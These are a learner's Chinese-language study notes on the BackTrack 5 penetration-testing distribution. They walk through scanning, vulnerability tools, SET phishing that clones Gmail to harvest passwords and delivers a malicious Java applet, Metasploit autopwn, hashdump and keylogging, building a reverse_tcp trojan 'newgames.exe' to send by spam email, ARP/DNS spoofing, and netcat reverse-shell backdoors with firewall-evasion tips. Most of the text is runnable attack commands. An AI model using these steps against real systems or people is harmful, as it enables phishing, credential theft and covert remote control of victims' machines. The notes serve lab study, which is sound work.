Back Track5学习笔记

1.BT5默认用户名:root.密码:toor(公司是yeslabccies)

2.进入图形化界面命令:startx

3.更改密码：sudo passwd root

扫描工具

第一部分网络配置：

4.网络配置文件有两个：

/etc/network/interfaces 和 /etc/resolv.conf

前一个存放网卡接口、IP、子网掩码等，后一个主要是存放DNS。

5.查看IP信息：ifconfig

6.更改IP ：ifconfig eth2 192.168.8.168 netmask 255.255.255.0

注意:我更改IP后无法上网,这时候改回IP也上不了,这时候应该用第12和11的命令,初始化网卡。

7.添加网关: route add default gw 192.168.8.1

8.查看默认路由：route –n

9.显示内核IP路由表：netstat –r（更多命令查看netstat -h）

10.为临时网络配置信息加DNS设置可以修改/etc/resolv.conf：

Nameserver 8.8.8.8(google的一个DNS服务器)

11.清空一个网卡接口的所有IP配置信息：

Ip addr flush eth0

12.启用网卡：sudo ifup eth0

13.关闭网卡：sudo ifdown eth0

14.动态IP地址分配(DHCP Client)修改/etc/network/interfaces文件如下：

1 2	auto eth0 iface eth0 inet dhcp

通过以上配置网卡后，你可以手动运行ifup命令来启用该网卡，该命令会通过dhclient来初始化DHCP进程。

1	sudo ifup eth0

要手动禁用某网卡，可以使用 ifdown 命令，它将启动DHCP释放进程然后关闭网卡接口。

1	sudo ifdown eth0

15.静态IP地址分配
同样是修改/etc/network/interfaces文件内容：

1 2 3 4 5

auto eth0 iface eth0 inet static address 192.168.8.167 netmask 255.255.255.0 gateway 192.168.8.1

16.静态主机名

修改/etc/hosts文件内容：

下面是一个例子：

从左到右分别是IP 简洁的主机名别名相应的 FQDN ( Fully Qualified Domain Names )

127.0.0.1   localhost

 

第二部分主机发现：

1.       使用arping判断局域网相邻主机是否存活：

arping –c 3 192.168.8.155（-c次数）

2.       使用fping快速：

fping –f ip.txt  (ip.txt每一行存一IP)

fping –s –r l –g 192.168.8.1 192.168.8.255 (扫描两个IP之间的所有IP)

3.       genlist获取使用清单，通过ping探针的响应

genlist –s 192.168.1.*   (扫描整个网段的存活主机)

4.       hping3,可以分割发送包

hping3 –c 2 192.168.8.8

5.       nbtscan扫描WINDOWS网络显示IP，主机名，用户名称和MAC地址等等

nbtscan –r 192.168.8.1/24  (扫描整个网段)

nbtscan 192.168.8.1-255   (同上)

6.       nping支持tcp,udp,icmp等

nping -c 1 --tcp -p 80 --flags syn 192.168.8.34

nping -c 1 --udp -p 80 192.168.8.34

7.       onesixtyone,用于找出SNMP Community字串

./onesixtyone -c dict.txt 192.168.8.34

8．protos主要用来扫描特定主机上所支持的协议：

/pentest/enumeration/irpas#./protos -i eth1 -d 10.1.1.2 –v

-v 显示结果的意思

第三部分操作系统指纹：

1.    p0f

2.       xprobe2

xprobe2 192.168.8.34

第四部分端口扫描：

1.       AutoScan

图形化网络扫描工具，能够发现网络中的活动主机

2.       Netifera

可实现网络探测和抓包功能（局域网抓包）

3.       Nmap

主机发现 nmap -v -n -sP 192.168.8.0/24

系统查询nmap -v -n -A 192.168.8.34
-v 把整个扫描结果显示出来
-n 不做DNS解析
-sP 列出当前网络那些主机在线
-A 综合扫描，使操作系统检测,版本检测、脚本扫描

第五部分服务探测

1． amap 指明端口探测

amap –bq 192.168.8.34 80

2.    httprint指纹识别

./httprint -h 192.168.8.34 -s signatures.txt

漏洞发现

第一部分Cisco工具

1．  CAT安全审计工具，扫描Cissco路由器的一般性漏洞

./CAT -h 192.168.8.254 -w lists/community -a lists/passwords

2.      Cisco Passwd Scanner, 用于发现拥有默认telnet密码“Cisco”的Cisco设备

./ciscos 192.168.8.1 3 -t 4 -C 10

第二部SNM扫描工具

1.      ADMSnmp, ADMSnmp用于暴力PJSNMP community字串，使用预先定义的“wordlist”

./ADMsnmp 192.168.8.34 -wordf snmp.passwd

2.      Snmp Enum在获得community后，可以使用snmp enum获取大量关于Cisco，windows和linux的信息

./snmpenum.pl 192.168.8.34 private cisco.txt

第三部分HTTP工具

1.      Burp Suite分析和攻击web运用

java -jar burpsuite_v1.4.jar

Proxy 代理端口可以编辑 intruder 选项卡选择intruder on 即开启代理端口为8080 更改浏览器的连接设置就可用此代理

2.      Grendel Scan 网页漏洞扫描工具

/pentest/web/grendel-scan# ./grendel.sh

3.      Nikto2 安全漏洞扫描工具

/pentest/web/nikto# ./nikto.pl  -h jw.nwpu.edu.cn -C -p 80 -T 3478b -t 3 -D V -o webtest -F htm

其中 webtest里存放的扫描结果

4.      w3af 特性丰富的web运用攻击和审计的框架，他协助检测和攻击

/pentest/web/w3af# ./w3af_console

参数配置

w3af>>>plugins（插件设置）

w3af/plugins>>>help

w3af/plugins>>>output console,htmlFile（插件输出设置）

w3af/plugins>>>output config htmlFile（插件文件格式设置）

w3af/plugins/output/config:htmlFile>>>set verbose True（冗余模式打开）

w3af/plugins/output/config:htmlFile>>>set fileName testreport.html（输出文件名）

w3af/plugins/output/config:htmlFile>>>back

w3af/plugins>>>output config console（插件模块设置）

w3af/plugins/output/config:console>>>set verbose False

w3af/plugins/output/config:console>>>back

w3af/plugins>>>audit htaccessMethods , osCommanding , sqli , xss（加载各种脚本）

w3af/plugins>>>back

w3af>>>target（目标地址设置）

w3af/config:target>>>set target http://xx.xx.xx.xx/

w3af/config:target>>>back

w3af>>>start（开始攻击）

5.     WAFW00F 探测WAF（运用层防火墙）的工具，会返回在这个之前有什么运用级防火墙是哪个厂商的

/pentest/web/waffit# ./wafw00f.py  http://www.baidu.com

6.     Samrdump

/pentest/python/impacket-examples# ./samrdump.py administrator:cisco@192.168.8.254 445/SMB

                第五部分综合漏洞发现工具Nessus

开启服务

/etc/init.d/nessusd start

打开https://localhost:8834/

用户名：cisco 密码：cisco

               社会工程学工具SET

第一部分：Java Applet Attack Method（利用java的病毒攻击）

第二部分：Credential Harvester Attack Method（收集个人信息）

1.      SET是一个高级的，多功能的，并且易于使用的计算机社会工程学工具集

  /pentest/exploits/set/config# vi set_config  (查看配置信息)

METASPLOIT_PATH=/pentest/exploits/framework3（MSF漏洞利用攻击工具路径）
ETTERCAP=ON（一个网络欺骗工具功能是否开放）
ETTERCAP_PATH=/usr/share/ettercap
ETTERCAP_DNSIFF_INTERFACE=eth1（使用DNS欺骗的网络接口）
EMAIL_PROVIDER=GMAIL（发送垃圾邮件的提供商）
SELF_SIGNED_APPLET=ON（自签名插件）
JAVA_ID_PARAM=Secure Java Applet（签名时候是哪个厂商产生的，后面这个名字写的靠谱点，让人相信会去点击）

命令

/pentest/exploits/set# ./set

然后set> 1

set> 2

set:webattack>1

set:webattack>2

set:payloads>2

set:encoding>16

set:phishing>1

set:phishing> Your gmail email address: :pythonisfun@gmail.com

Email password:

set:phishing> Flag this message/s as high priority? [yes|no]:yes

set:phishing> Email subject:Thank you! For your application.

set:phishing> Send the message as html or plain? 'h' or 'p' [p]:

set:phishing> Enter the body of the message, hit return for a new line. Control+c when finished:welcome to our sites:http://192.168.8.167

Next line of the body: ^C

以上做的是克隆百度的站点，通过自己的Gmail发送邮件给被攻击者，只要他人点击http://192.168.8.167，并加载运行那个java插件secure java applet就会中招。（在WIN7和2003上点击链接，并没有弹出secure java applet插件，也许是浏览器的安全设置弄的）

如果有人中招，按Ctrl+C终止。

msf  exploit(handler) > sessions –i （查看中招的主机信息）

 

命令/pentest/exploits/set# ./set

然后set> 1

set> 2

set:webattack>3

set:webattack>2

set:mailer>1

Enter the url to clone:https://gmail.com

1--->发送给单一目标

Send Email To：1392688486@qq.com

1-->用gmail发送邮件攻击

Your Gmail email address：xxxxx@gmail.com

Email password：xxxxx

Flag this message/s as high priority？[yes|no]yes（是不是高优先标签）

Email subject：（Email的标题，考你的语文水平，欺骗他让他点你的站点）

Send the message as htmal or plain? 'h' or 'p' [p]:（发送文件是以什么格式）

Enter the body of the message, hit return for a new line,Control+c when finished:（编写邮件的内容按Ctrl+C来结束）

这个只要他人点击你给的链接（最好自己有一个域名），输入用户名和密码，我们就可以知道了

应用层攻击MSF

1．  启动msfconsole 命令：msfconsole

msf>hosts     (查看扫描过的主机数据库)

msf>host –d   (删除这个数据库里的内容 hosts –h可以知道hosts所有用法)

msf>services   (存放扫描主机开启的服务的数据库)

          msf>nmap –T Aggressive –sV –n –O –v 192.168.8.1/24 (扫描这个网段)

          msf>load db_autopwn   (没有db_autopwn这个模块，必须先下载，然后用命令cp db_autopwn.rb /opt/framework3/msf3/plugins/ 拷贝到此处，每次使用这个模块之前load db_autopwn)

          msf>db_autopwn –p –t –e  (从扫描的结果中自动攻击，-I后接指定IP)

          msf>sessions –i     (查看攻破的主机)

          msf>session –i 1  (主机ID 1，连到这个主机)

          meterpreter>run hashdump    (获取账号hash值)

          meterpreter>ps    (查看控制主机的所有进程)

          meterpreter>migrate 1576   (迁移到1576进程ID，获得管理员权限)

          meterpreter>keyscan_start    (监视主机键盘记录)

          meterpreter>keyscan_dump   (显示键盘记录)

          meterpreter>keyscan_stop     (停止)

          meterpreter>run getgui –e     (开启被控制主机的远程登录服务)

          meterpreter>run getgui –u cisco –p cisco  (向远程主机添加拥有管理员权限的账号：cisco 密码：cisco )

       然后开启远程登录软件：rdesktop 192.168.8.34:3389(被控制主机IP,port)，输入账号：cisco 密码：cisco

        破解刚才获取的hash值得到管理员密码：

        /pentest/passwords# ophcrack –g –d ~/tables_xp_free_small –t ~/tables_xp_free_small/ -f ~/sam-new-test.

       其中tables_xp_free_small是字典，sam-new-test是刚才得到的hash值

 

离线攻击MSF

1.        制造离线攻击脚本

先创建一个反向连接TCP客户端(相当于木马)，然后把这个.exe文件通过垃圾邮件发送给别人。/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.167 LPORT=33333 X > /tmp/newgames.exe    (newgames.exe就是一个木马)

然后打开msfconsole.  root@bt:~# msfconsole

建立服务器：msf > use exploit/multi/handler

建立负载，反向TCP：msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

设置服务器（我的就是自己的IP，和上面对应）：msf  exploit(handler) > set LHOST 192.168.8.167

   设置端口（和上面对应）：msf  exploit(handler) > set LPORT 33333

服务器设置好之后，此时如果他人点击newgames.exe，就会自动连接我的服务器192.168.8.167。

接下来是得到进程列表，迁移到管理员权限，然后开启别人主机的远程登录服务

meterpreter > getuid

Server username: xyw-PCxyw

meterpreter > ps

meterpreter > run getgui -u user -p passwd    (向别人主机添加有管理员权限的用户名和密码)

然后在自己主机开启远程登录服务，连接到上当的主机IP（这里是192.168.8.154，第一张图里的最后有）

这些在上一篇里都有，WIN7可能连接不上，请关闭防火墙，反正192.168.8.154(WIN7系统)的远程登录服务已经开启了，并且它多了一个拥有管理员权限的用户user。

 

局域网攻击

1.     MAC泛洪攻击

百科一下：MAC地址泛洪攻击：

    1，2层交换机是基于MAC地址去转发数据帧的。 

    2，转发过程中依靠对CAM表的查询来确定正确的转发接口。 

    3，一旦在查询过程中无法找到相关目的MAC对应的条目，此数据帧将作为广播帧来处理。 

    4，CAM表的容量有限，只能储存不多的条目，当CAM表记录的MAC地址达到上限后，新的条目将不会添加到CAM表中。

ARP攻击：

    比如别人限制您的网速，就称之为ARP攻击，就是针对你的IP地址进行控制。

DHCP欺骗：

    1.DHCP是动态主机配置协议，主要用来让PC机自动获IP地址，子网掩码，默认网关等信息。

    2.DHCP的发包方式为广播。

    3.当有多个DHCP的回应时，使用最先到达的回应。

 

工具macof,命令：macof –i eth2  (通过eth2泛洪)

Dsniff抓包工具（获取敏感信息，用户名和密码）命令：dsniff –i eth2

2.    Yersinia 图形化局域网攻击工具。

启动命令：root@bt:~# yersinia –G

 

3.    Arpspoof

arp欺骗就是自己对要截获数据包的主机（如192.167.8.154）声称自己就是网关的地址（一般是网关地址，因为局域网内每个人都要通过网关发送或接收数据），然后在对网关（192.168.8.254）声称自己就是192.167.8.154，这样192.167.8.1544与192.168.8.254

之间通信的数据包每次都经过你，你就可以用抓包工具wireshark截获192.167.8.34的信息。

root@bt:~# arpspoof -i eth2 -t 192.168.8.154 192.168.8.254  (欺骗主机)

root@bt:~# arpspoof -i eth2 -t 192.168.8.254 192.168.8.154  (欺骗网关)

 

4.    Ettercap图形化界面

启动命令：root@bt:~# ettercap -G

4.1  ARP欺骗

 

先点击Hosts>Scan for hosts,然后点击Hosts list得到局域网内存活的主机。

选中两个要进行arp欺骗的IP,一般是网关和一主机。

然后开启sniff,得到敏感信息(用户名和密码)。

这是百度用户名和密码，密码是加密了的。

4.2  DNS欺骗

和上面步骤差不多，dns欺骗模块在plugins里，点击plugins双击dns spoof

 

维持访问

1.       DNS隧道技术

2.       Ping隧道技术

3.       SSL隧道技术

三个IP，一个是路由器IP 192.168.8.254，两个BT5 主机IP，192.168.8.167和192.168.8.176，其中192.168.8.167作为stunnel服务器，192.168.8.176作为客户端，只要连接到192.168.8.176的2323端口就会转到192.168.8.167的端口，只要连接到192.168.8.167的2323端口就会转到192.168.8.254,具体配置如下：

遇到的问题：复制一个BT5之后打开这个新的BT5不能上网，这是因为把原先的mac地址保存在缓存中，所以导致怎么重启网卡（sudo /etc/init.d/networking restart）都是不能启用。应该：

rm /etc/udev/rules.d/70-persistent-net.rules 后重启就行

服务器端配置文件：root@bt:~# cd /etc/stunnel/

vi stunnel.conf

创建临时文件夹 mkdir /var/run/stunnel 

将connect 后的IP地址改成要访问的IP,(一般是网关)

启动stunnel.  root@bt:~# stunnel /etc/stunnel/stunnel.conf

   查看stunnel运行状态 netstat –nap|grep stunnel

   客户端配置文件：

创建临时文件夹 mkdir /var/run/stunne

   大多数步骤相同，除了把connect 后的IP地址改成上面服务器的IP,端口为232（connect=ip:2323），启动stunnel. root@bt:~# stunnel /etc/stunnel/stunnel.conf。可以在客户端上试一试：telnet 127.0.0.1 2323 （这会跳两次，而且通信加密连到网关）

3．proxy代理技术

4.       Netcat

 

proxy代理技术

查看3proxy配置文件

代理主机IP：192.168.8.159  web服务器IP：192.168.8.167

root@bt:~# vi /pentest/backdoors/3proxy/cfg/3proxy.cfg

External(在局域网内外部接口这里用不到)，internal(改成web服务器的IP，前提是你要在web服务器主机上(不是自己)配置好自己的web服务器，详见http://www.jb51.net/os/Ubuntu/43308.html)

然后启动3proxy:

root@bt:/pentest/backdoors/3proxy# ./3proxy cfg/3proxy.cfg

现在可以在其他主机上访问http://192.168.8.159/info.php他会自动转到http://192.168.8.167/info.php 和直接访问http://192.168.8.167/info.php的效果一样

注意http://192.168.8.159/info.php实际上不存在

Netcat

网络的瑞士军刀，功能强大，做后门的效果比较好

1.扫描主机端口是否开放

root@bt:~# nc -v -n -z 192.168.8.159 1-1024

连接到21端口开放的主机

root@bt:~# nc 192.168.8.159 21

2.做后门

  2.1 受害者做服务器，当攻击者连接受害者的时候，受害者把自己的cmd.exe给攻击者，这种方法因为是攻击者连接受害者可能会遇到防火墙的封杀。

   在WIN7下用nc做服务器的命令：C:UsersxywDesktop>nc.exe -d -L -p 3333 -e cmd.exe (注意：我在网上下的一个nc.exe,放在桌面上，端口是3333)

   然后再BT5下连接WIN7的ip加3333端口：root@bt:~# nc 192.168.8.151 3333，得到WIN7的cmd.exe控制权。

2.2 攻击者做服务器，等待受害者来连接，可以有效避免防火墙的拦截。

BT5做服务器：root@bt:~# nc -L -p 3333

WIN7做客户端：nc.exe –d 192.168.8.167 3333 –e cmd.exe

2.3 用来传文件

  现在BT5下面root@bt:~# nc -l -u -p 53 > test.py，用udp 53(dns协议用的端口)端口来传文件可以防止防火墙封杀，把收到的文件命名为test.py(随便命名)。

在WIN7下：C:UsersxywDesktop>nc.exe -u 192.168.8.167 53 < npu.py

(192.168.8.167 BT5 IP，192.168.8.151 WIN7 IP)

2.nc做中继站，和代理服务器差不多，当你连接中继的时候转到指定的IP，nc可以抓包

查看和修改配置文件root@bt:~# vi telnet_relay ( 主要修改IP,要跳到的IP)

启动：root@bt:~# nc -l -p 80 -e telnet_relay

然后其他主机：telnet IP(中继站IP)时跳转到指定IP。